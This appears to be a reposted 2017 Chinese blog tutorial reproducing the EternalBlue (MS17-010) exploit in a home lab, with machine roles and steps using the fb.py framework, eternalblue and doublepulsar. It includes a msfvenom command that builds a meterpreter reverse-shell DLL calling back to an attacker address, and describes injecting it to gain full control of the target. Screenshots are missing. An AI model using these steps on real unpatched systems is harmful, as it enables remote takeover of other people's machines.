码迷,mamicode.com
首页 > 其他好文 > 详细

永恒之蓝漏洞利用复现

时间:2017-08-12 21:24:43      阅读:177      评论:0      收藏:0      [点我收藏+]

标签:协议   center   这一   服务   nal   ges   补丁   lin   log   

一、环境搭建:

IP地址 系统信息 备注 角色
192.168.0.244 win7旗舰版(未安装MS17-010补丁版本) 需开启445端口及SMB协议 靶机
192.168.0.105 win7旗舰版 需安装python2.6.6&pywin32 攻击机
192.168.0.245 kali linux 2.0 生成reverse shell的dll文件 辅助机

二、攻击流程:

  攻击流程图解:

  技术分享

 

  1.在kali linux中利用metasploit生成用于建立反向链接的dll文件

  msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.0.245 LPORT=4444 -f dll > reverse.dll

  2.打开metasploit

  技术分享

  3.建立监听

  技术分享

  4.在Windows 7下,运行fb.py工具

  技术分享

  5.指定攻击目标

  技术分享

  6.指定攻击目标后,输入:use eternalblue,使用永恒之蓝漏洞

  7.一路确认输入的信息,知道选择攻击工具,选择fb模块

  技术分享

  8.再次确认攻击目标,之后输入:use doublepulsar

  9.选择要攻击的服务

  技术分享

  10.一路按确定键,直到进入选择执行动作这一步骤

  技术分享

  11.在选择攻击动作之前将步骤1中生成的reverse.dll文件放置在攻击机的c盘下

  12.选择2,将步骤1中生成的reverse.dll文件注入到靶机

  13.成功注入

  技术分享

  此时,攻击机获得靶机根权限,可以在攻击机上执行靶机的shell 命令,查看靶机文件。

 

永恒之蓝漏洞利用复现

标签:协议   center   这一   服务   nal   ges   补丁   lin   log   

原文地址:http://www.cnblogs.com/zhang293/p/7346859.html

(0)
(0)
   
举报
评论 一句话评论(0
登录后才能评论!
© 2014 mamicode.com 版权所有  联系我们:gaon5@hotmail.com
迷上了代码!